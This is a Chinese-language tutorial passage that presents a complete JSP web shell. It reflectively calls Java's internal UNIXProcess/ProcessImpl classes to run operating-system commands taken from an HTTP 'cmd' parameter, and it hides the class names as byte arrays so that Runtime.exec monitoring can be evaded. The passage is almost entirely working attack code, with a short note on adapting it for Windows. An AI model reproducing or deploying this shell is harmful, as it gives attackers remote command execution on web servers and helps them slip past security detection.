5. 反射UNIXProcess/ProcessImpl执行本地命令

linux-cmd.jsp执行本地命令测试:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
    byte[] toCString(String s) {
        if (s == null) {
            return null;
        }
        byte[] bytes  = s.getBytes();
        byte[] result = new byte[bytes.length + 1];
        System.arraycopy(bytes, 0, result, 0, bytes.length);
        result[result.length - 1] = (byte) 0;
        return result;
    }
    InputStream start(String[] strs) throws Exception {
        // java.lang.UNIXProcess
        String unixClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 85, 78, 73, 88, 80, 114, 111, 99, 101, 115, 115});
        // java.lang.ProcessImpl
        String processClass = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108});
        Class clazz = null;
        // 反射创建UNIXProcess或者ProcessImpl
        try {
            clazz = Class.forName(unixClass);
        } catch (ClassNotFoundException e) {
            clazz = Class.forName(processClass);
        }
        // 获取UNIXProcess或者ProcessImpl的构造方法
        Constructor<?> constructor = clazz.getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        assert strs != null && strs.length > 0;
        // Convert arguments to a contiguous block; it's easier to do
        // memory management in Java than in C.
        byte[][] args = new byte[strs.length - 1][];
        int size = args.length; // For added NUL bytes
        for (int i = 0; i < args.length; i++) {
            args[i] = strs[i + 1].getBytes();
            size += args[i].length;
        }
        byte[] argBlock = new byte[size];
        int    i        = 0;
        for (byte[] arg : args) {
            System.arraycopy(arg, 0, argBlock, i, arg.length);
            i += arg.length + 1;
            // No need to write NUL bytes explicitly
        }
        int[] envc    = new int[1];
        int[] std_fds = new int[]{-1, -1, -1};
        FileInputStream  f0 = null;
        FileOutputStream f1 = null;
        FileOutputStream f2 = null;
        // In theory, close() can throw IOException
        // (although it is rather unlikely to happen here)
        try {
            if (f0 != null) f0.close();
        } finally {
            try {
                if (f1 != null) f1.close();
            } finally {
                if (f2 != null) f2.close();
            }
        }
        // 创建UNIXProcess或者ProcessImpl实例
        Object object = constructor.newInstance(
                toCString(strs[0]), argBlock, args.length,
                null, envc[0], null, std_fds, false
        );
        // 获取命令执行的InputStream
        Method inMethod = object.getClass().getDeclaredMethod("getInputStream");
        inMethod.setAccessible(true);
        return (InputStream) inMethod.invoke(object);
    }
    String inputStreamToString(InputStream in, String charset) throws IOException {
        try {
            if (charset == null) {
                charset = "UTF-8";
            }
            ByteArrayOutputStream out = new ByteArrayOutputStream();
            int                   a   = 0;
            byte[]                b   = new byte[1024];
            while ((a = in.read(b)) != -1) {
                out.write(b, 0, a);
            }
            return new String(out.toByteArray());
        } catch (IOException e) {
            throw e;
        } finally {
            if (in != null)
                in.close();
        }
    }
%>
<%
    String[] str = request.getParameterValues("cmd");
    if (str != null) {
        InputStream in     = start(str);
        String      result = inputStreamToString(in, "UTF-8");
        out.println("<pre>");
        out.println(result);
        out.println("</pre>");
        out.flush();
        out.close();
    }
%>

命令执行效果如下：

Windows可能并不适用，稍做调整应该就可以了。